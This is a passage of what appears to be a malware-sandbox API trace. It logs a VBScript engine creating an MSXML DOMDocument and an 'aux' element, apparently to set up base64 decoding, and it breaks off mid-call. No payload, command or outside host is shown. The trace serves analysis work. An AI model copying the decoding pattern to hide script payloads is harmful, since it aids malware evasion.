[4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0 [0088.767] SysStringLen (param_1=0x0) returned 0x0 [0088.767] CoGetClassObject (in: rclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x15449c | out: ppv=0x15449c*=0x72b7d4b8) returned 0x0 [0088.767] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d4b8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154498 | out: ppvObject=0x154498*=0x0) returned 0x80004002 [0088.767] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d4b8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1544a0 | out: ppvObject=0x1544a0*=0x556868) returned 0x0 [0088.768] DOMDocument:IUnknown:AddRef (This=0x72b7d4b8) returned 0x1 [0088.768] DOMDocument:IUnknown:QueryInterface (in: This=0x556868, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154464 | out: ppvObject=0x154464*=0x556894) returned 0x0 [0088.768] ??2@YAPAXI@Z () returned 0x1112980 [0088.768] DOMDocument:IObjectWithSite:SetSite (This=0x556894, pUnkSite=0x1112980) returned 0x0 [0088.768] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154318 | out: ppvObject=0x154318*=0x0) returned 0x80004002 [0088.768] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154308 | out: ppvObject=0x154308*=0x0) returned 0x80004002 [0088.768] DOMDocument:IUnknown:AddRef (This=0x1112980) returned 0x2 [0088.768] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1543c8 | out: ppvObject=0x1543c8*=0x1112980) returned 0x0 [0088.768] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153328 | out: ppvObject=0x153328*=0x1112980) returned 0x0 [0088.768] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 0x80004002 [0088.768] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0088.768] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0088.768] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 0x80004002 [0088.769] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0088.769] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0088.769] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0088.769] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0088.769] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0088.769] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0088.769] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0088.769] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0088.769] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.769] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0088.769] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0088.769] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.769] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0088.769] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0088.769] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.769] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0088.769] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0088.769] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.769] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0088.769] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0088.770] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x3 [0088.770] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0088.770] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153318 | out: ppvObject=0x153318*=0x0) returned 0x80004002 [0088.770] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153334 | out: ppvObject=0x153334*=0x1112980) returned 0x0 [0088.770] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0088.770] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0088.770] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0088.770] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0088.770] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0088.770] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0088.770] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0088.770] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0088.770] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0088.770] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0088.770] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0088.770] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0088.770] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.771] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0088.771] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0088.771] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.771] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0088.771] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0088.771] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.771] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0088.771] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0088.771] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0088.771] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0088.771] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0088.771] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x3 [0088.771] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x2 [0088.771] DOMDocument:IUnknown:QueryInterface (in: This=0x1112980, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1543c0 | out: ppvObject=0x1543c0*=0x1112980) returned 0x0 [0088.779] DOMDocument:IServiceProvider:QueryService (in: This=0x1112980, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0088.780] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154394 | out: ppvObject=0x154394*=0x83fd368) returned 0x0 [0088.780] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154390 | out: ppvObject=0x154390*=0x83fd378) returned 0x0 [0088.780] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0088.780] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0088.780] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0088.780] DOMDocument:IUnknown:Release (This=0x1112980) returned 0x2 [0088.780] DOMDocument:IUnknown:Release (This=0x556894) returned 0x1 [0088.780] DOMDocument:IUnknown:QueryInterface (in: This=0x556868, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154454 | out: ppvObject=0x154454*=0x5550e0) returned 0x0 [0088.780] DOMDocument:IUnknown:AddRef (This=0x5550e0) returned 0x2 [0088.780] DOMDocument:IUnknown:Release (This=0x5550e0) returned 0x1 [0088.780] DOMDocument:IUnknown:Release (This=0x556868) returned 0x2 [0088.780] DOMDocument:IUnknown:QueryInterface (in: This=0x5550e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x555114) returned 0x0 [0088.781] DOMDocument:IDispatchEx:GetDispId (in: This=0x555114, bstrName="CreateElement", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=41) returned 0x0 [0088.781] DOMDocument:IUnknown:Release (This=0x555114) returned 0x1 [0088.781] DOMDocument:IUnknown:AddRef (This=0x5550e0) returned 0x2 [0088.781] DOMDocument:IUnknown:QueryInterface (in: This=0x5550e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x555114) returned 0x0 [0088.781] ??2@YAPAXI@Z () returned 0x846d2a8 [0088.781] VBScriptEngine5:IUnknown:AddRef (This=0x83fd368) returned 0x5 [0088.781] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x846d2c0 | out: ppvObject=0x846d2c0*=0x83fd368) returned 0x0 [0088.781] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0088.781] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555114, id=41, lcid=0x409, wFlags=0x3, pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x554700, varVal2=0x0), pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0088.782] DOMDocument:IUnknown:Release (This=0x555114) returned 0x2 [0088.782] DOMDocument:IUnknown:Release (This=0x5550e0) returned 0x1 [0088.782] DOMDocument:IUnknown:QueryInterface (in: This=0x554700, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154434 | out: ppvObject=0x154434*=0x5546e0) returned 0x0 [0088.782] DOMDocument:IUnknown:Release (This=0x554700) returned 0x1 [0088.782] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0088.782] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154478 | out: ppvObject=0x154478*=0x11977a8) returned 0x0 [0088.782] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="alxmd", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=1393904) returned 0x80020006 [0088.782] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="alxmd", grfdex=0x8, pid=0x1543ec | 